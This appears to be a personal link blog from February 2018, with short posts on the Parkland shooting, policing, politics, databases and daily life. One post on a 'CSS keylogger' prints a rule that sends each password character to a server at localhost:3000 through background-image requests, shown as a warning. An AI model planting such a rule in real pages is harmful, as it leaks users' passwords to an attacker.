Thursday February 22nd, 2018

Florida attacks porn rather than gun violence

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Hey, you know what study after study has suggested is correlated with a reduction of sexual violence? The availability of pornography.

I don't have an answer to the gun violence problem, but it does seem as though we as a society took the relationship violence of the Parkland shooter seriously, there may have been legal mechanisms in place to prevent him from having a firearm.

Instead, we have decided to keep perpetuating the social structures that tacitly accept violence against women and violence in relationships.

Florida House refuses to debate guns, declares porn dangerous

Wednesday February 21st, 2018

Amazing how the we need guns to

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Amazing how the "we need guns to protect our rights from the government" crowd seems to be lining up behind some pretty authoritarian "arm the teachers" and "metal detectors in the hallways" proposals.

I am not one to mock anyone's gender

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I am not one to mock anyone's gender expression, but those women do present as very butch...

Friend describing how their child is

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Friend describing how their child is referring to lingo as "super 1900s" is making me feel hella old.

Mongo vs Postgres

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Why We Moved From NoSQL MongoDB to PostgreSQL. One of their reasons, needing to check for existence in the record because not all records have a field, is a bad one. And restructuring a large database can take an unacceptable amount of time (work is currently dealing with this issue in old MySQL databases and our archive policies around that), but it's still a good set of things to consider about NoSQL before you hitch a wagon to it.

As long as racism

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As long as racism, social authoritarian beliefs, and snake oil shysters wrap themselves in Christianity, Billy Graham will live on.

Addendum: I should have used bigotry: Graham was willing to follow some social change on racism, even as he attacked activists who led the charge against racism, but he was still anti-gay to the end.

Interesting use of collision vs

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Interesting use of "collision" vs "accident" from the Petaluma PD.

Differential Punishment

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National Women's Law Center: Changing the School System’s Approach to Discipline:

...Half of Black girls’ suspensions are for minor offenses such as violating the dress code, chewing gum, or talking back to a teacher. These behaviors don’t pose threats to classmates or disrupt teaching. But they challenge society’s idea of femininity– white femininity.

Video games and labor

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RT Eλf Sternberg @elfsternberg

<blockuote>"Leisure luxuries and the labor supply of young men." Man, if video games dropped labor involvement in men under 30 by 3%, just wait until sexbots hit the market.

The abstract:

Younger men, ages 21 to 30, exhibited a larger decline in work hours over the last fifteen years than older men or women. Since 2004, time-use data show that younger men distinctly shifted their leisure to video gaming and other recreational computer activities. We propose a framework to answer whether improved leisure technology played a role in reducing younger men’s labor supply. The starting point is a leisure demand system that parallels that often estimated for consumption expenditures. We show that total leisure demand is especially sensitive to innovations in leisure luxuries, that is, activities that display a disproportionate response to changes in total leisure time. We estimate that gaming/recreational computer use is distinctly a leisure luxury for younger men. Moreover, we calculate that innovations to gaming/recreational computing since 2004 explain on the order of half the increase in leisure for younger men, and predict a decline in market hours of 1.5 to 3.0 percent, which is 38 and 79 percent of the differential decline relative to older men.

I can't believe it's not Murrican

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The unwitting: The Trump supporters used by Russia

Florine Gruen Goldfarb runs the Team Trump Broward County Facebook page, which posted numerous times about events that were promoted and encouraged by the Russians. Speaking to CNN on Sunday, she said she didn't believe she was influenced by the Russians and said she thought that Friday's indictment was a ploy to distract from the FBI's mishandling of tip-offs it had received about the Parkland, Florida school shooter.

Octopus Jig

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The Octopus Jig (Facebook Video). It says "Octopus", but there's only six arms... 3 people playing 3 instruments, but each playing a different part of the instrument (one's strumming, one's fingering).

CSS keylogger?

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A keylogger written in pure CSS.

For example, the following css will select all input's with a type that equals password and a value that ends with a. It will then try to load an image from http://localhost:3000/a.

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");

Beware sites that allow end-user customization... Although the Twitter thread at suggests there this may only work for static values, not vanilla inputs, but does work on React inputs.

Tuesday February 20th, 2018

Socially Transitioned Youth

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Mental Health and Self-Worth in Socially Transitioned Transgender Youth

These findings are in striking contrast to previous work with gender- nonconforming children who had not socially transitioned, which found very high rates of depression and anxiety. These findings lessen concerns from previous work that parents of socially transitioned children could be systematically underreporting mental health problems.

Various cool blooms on the morning run

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Various cool blooms on the morning run too!

Cold this morning on the trail

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Cold this morning on the trail.

Podcasts I'm gonna have to go back and

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Podcasts I'm gonna have to go back and listen to again because they were so much: "PodCastle 506: La Gorda and the City of Silver"

Sunset on the way to Vallejo at the

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Sunset on the way to Vallejo at the hills of the Windows 95 default desktop background.

Monday February 19th, 2018

Me in July I could go for some iced

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Me, in July: "I could go for some iced lemonade."

The tree, in February cold snap (partial harvest from tonight):

Annoying: the refrigerator has a 10 f difference between two shelves.


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Struggling with camera stuff, need to move this between computers, posting to Flutterby is the easiest way to do so.

Raspberry Pi camera w/motion detection.

Motion-detecting camera GPG-encrypts images and video, uploads all to S3.

Saturday February 17th, 2018

Making pizza tonight

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Making pizza tonight. Or as I like to call it: Playing chicken with the smoke alarm.

Friday February 16th, 2018

RT the not-liberal Fabian:

*whispers in your ear* white nationalists murdering people will never be called terrorism in America because terrorism implies its a threat to the state apparatus but white nationalist violence only reenforces the state apparatus in America

Shoot the rescuer

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Faith City shooting investigation in "early stages". Gunman took 100 to 150 people hostage in a chapel, someone took the gun from him, police shot the guy who took the gun...

"The officers fired shots that struck the man," said [Amarillo Police Sergeant Brent] Barbee. "After some additional investigation, they've learned that the man that the gun may have taken the firearm away from the original suspect in the call. The man who originally had the gun has been taken into custody."

One of the difficulties of having multiple uncoordinated responders in hostage or active shooter situations.

Via Via

How come with all the inventive

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How come with all the "inventive cuisine" around I've never seen shrimp cockatiel on a menu?

Thoughts and Prayers

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Because I keep wanting to be able to get back to it: Optipess comic: Thoughts and Prayers

Parkland shooting and white supremacists

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ADL: Florida White Supremacist Group Admits Ties to Alleged Parkland School Shooter Nikolas Cruz. Except it turns out that this was likely just a terrorist organization trying to take credit for the actions of someone they likely didn't have contact with: Local law enforcement: No ties between militia and Florida high school shooter.

So kinda like when ISIS/ISIL jumps on the latest bandwagon any time someone with darker skin than usual flips out.

consent and detention

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up to 5 years

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Marin man accused of ramming cyclists ordered to stand trial.

A Novato man accused of ramming cyclists with his pickup truck in West Marin was ordered to stand trial on all counts.

Aaron Michael Paff, 21, is charged with four felony hit-and-run charges. He could face a sentence of up to five years if convicted.

Thoughts and prayers is to this

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"Thoughts and prayers" is to this generation what "sucks to be you" was to the'90s.

Thursday February 15th, 2018

Can we deport him?

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Wednesday February 14th, 2018

Eternal September

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Never Ending September Date:

This program wraps the libc localtime() and gmtime() functions to output the eternal September 1993 date. The epoch month is configurable (new in version 0.3).

Tuesday February 13th, 2018

Considering my life choices after

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Considering my life choices after seeing just how many meetups and groups I'm interested in are having meetings tomorrow evening (Valentne's Day).

Israeli police find 'sufficient evidence' to indict Benjamin Netanyahu:

According to a police report published late Tuesday, authorities found evidence of "accepting bribes, fraud, and breach of trust."

P.F. Chang's Winter Olympics

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WLS-Ch.7 blames graphics 'mix-up' for confusion between P.F. Chang's and Pyeongchang:

Pyeongchang is a mountainous county 110 miles southeast of Seoul in South Korea, and the host of the 2018 Winter Olympics.

P.F. Chang’s is an Asian-inspired chain restaurant with 210 U.S. locations, including ones in Chicago, Lombard, Northbrook, Orland Park and Schaumburg.

The lesson seems to be: Don't let your sports department satire bleed over into your newsroom.

Data doesn't lie Twitter

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"Data doesn't lie"? Twitter aggressively pursuing the profoundly ignorant is a useful strategy while they're simultaneously trying to get us to buy advertising and convince us that state sponsored bot accounts aren't influencing US policy.

CLI and Hadoop

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Command-line Tools can be 235x Faster than your Hadoop Cluster. Picked up a few cool things in here, including using xargs for parallelization.

How bad is the congestion in Marin The

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How bad is the congestion in Marin? The bus driver isn't using the HOV lane.

Wrong House, Wrong Person

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Officers kill man with no active warrants at wrong house. "No active warrants" is a weird way to say "innocent", but judging from the man's name I guess he wasn't Caucasion, so can be presumed guilty until proven innocent. And there was a firearm in the house, but accounts from witnesses differ from those of police as to whether that the dead man was in possession of that weapon, and whether the police warned him to drop it.

A warrant out of Tate County shows Samuel Pearman was wanted for domestic assault. But, when Southaven officers arrived on Surrey Lane to arrest Pearman, they did not show up to the correct house.

Instead, officers missed their target by 36 feet. Those 36 feet made all the difference to Ismael Lopez and his wife.

New York Daily News: Mississippi police fatally shoot man while attempting to serve warrant at wrong house

NBC News: Mississippi Police Fatally Shoot Man at Wrong House While Serving Warrant

CNN: Mississippi police who fatally shot man had wrong house, DA says

Speed Cameras Nixed

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Speed-camera trial for San Jose, San Francisco dies in Assembly. The most vocal opposition comes from police unions, CHP Officer Tom Maguire of the California Association of Highway Patrolmen said:

“I have never investigated or assisted in an investigation that involved a vehicle and a pedestrian or a vehicle and a bicycle that resulted in a fatality where speed was the primary collision factor,” Maguire said. “Never.”

“I have never investigated or assisted in an investigation that involved a vehicle and a pedestrian or a vehicle and a bicycle that resulted in a fatality where speed was the primary collision factor,” Maguire said. “Never.”

The author of the bill brought up the death of Aileen Quiroz Chavez:

Juana Maria Quiroz says she's had her own close calls with speeding cars in this neighborhood. Some neighbors have been pushing for speed bumps to slow down traffic but were previously overruled by other neighbors who didn't want them. But police on Wednesday said it didn't appear as though the driver was speeding, and that the family was inside the crosswalk when they were struck.

wellness & neglect

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Father convicted in son's meningitis death will not speak at wellness expos after backlash — David Stephan of Nelson, B.C. was selling 'multivitamin replacement. Before the publicity caused the sponsors started pulling out, the organizer said all sorts of skeevy stuff, but also:

"I look for the most controversial thing I can," he added. "If it's out there and it's controversial, that means people are talking about it. There's no better place to talk about something than at a place where you can actually find out the facts from the original person."

The vitamin salesguy and his wife were convicted in 2016 of "...failing to provide the necessaries of life to their son Ezekiel, who died in 2012."

Monday February 12th, 2018

Cycling in SLO

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Former Mayor of San Luis Obispo California writes letter to city council decrying new bikeway:

Tonight, you (San Luis Obispo City Council) have before you a request for permission to assault that tranquility in order to create a gigantic urban rape. Yes, rape! No other word would be proper. The rape will not be performed by a male penis, but by thousands of inanimate bicycles guided by individuals who will have absolutely no understanding of that precious tranquility they will be destroying in their mindless focus of getting from point “A” to point “B” with the least possible inconvenience to themselves.

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Eccentric Flower: The Myth of No History and the Shadows of Old Gods

Still pondering this, and discussing it in another channel.

The Very Model

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"I am the very model of a New York Times contrarian / My intellect is polished but my soul’s authoritarian ..."